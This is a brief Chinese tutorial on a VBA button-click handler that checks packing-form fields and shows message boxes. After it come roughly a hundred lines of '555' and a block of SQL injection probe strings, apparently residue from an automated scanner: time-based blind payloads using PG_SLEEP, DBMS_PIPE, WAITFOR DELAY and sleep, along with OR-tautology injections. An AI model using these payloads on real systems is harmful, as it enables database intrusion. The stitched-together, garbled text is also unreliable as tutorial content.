本节说的是使用VBA实现点击按钮时,触发的事件过程。
比如,这里点击打包完成按钮时候,会触发一些过程,先判断装箱尺寸、毛重等信息是否填写,否则弹出提示框。
CommandButton1_Click()是按钮点击触发事件,点击CommandButton1按钮时,触发该过程。
'完成打包事件
Private Sub CommandButton1_Click()
If TextBox1.Text = "" Then
MsgBox "装箱尺寸不能为空!", vbOKOnly
ElseIf TextBox2.Text = "" Then
MsgBox "重量不能为空!", vbOKOnly
ElseIf Cells(10, 2) = "" Then
MsgBox "本箱打包明细为空!", vbOKOnly
Else
'其他代码
End If
End Sub
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@XLZb6
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555HzqLaiFh')) OR 99=(SELECT 99 FROM PG_SLEEP(15))--
555NXtVgibm') OR 339=(SELECT 339 FROM PG_SLEEP(15))--
555BLwBRlgw' OR 109=(SELECT 109 FROM PG_SLEEP(15))--
555-1)) OR 155=(SELECT 155 FROM PG_SLEEP(15))--
555-1) OR 426=(SELECT 426 FROM PG_SLEEP(15))--
555-1 OR 611=(SELECT 611 FROM PG_SLEEP(15))--
555PJ7eTKVW'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "ms1zj0p7"="
-1' OR 5*5=25 or 'QufuSxkp'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555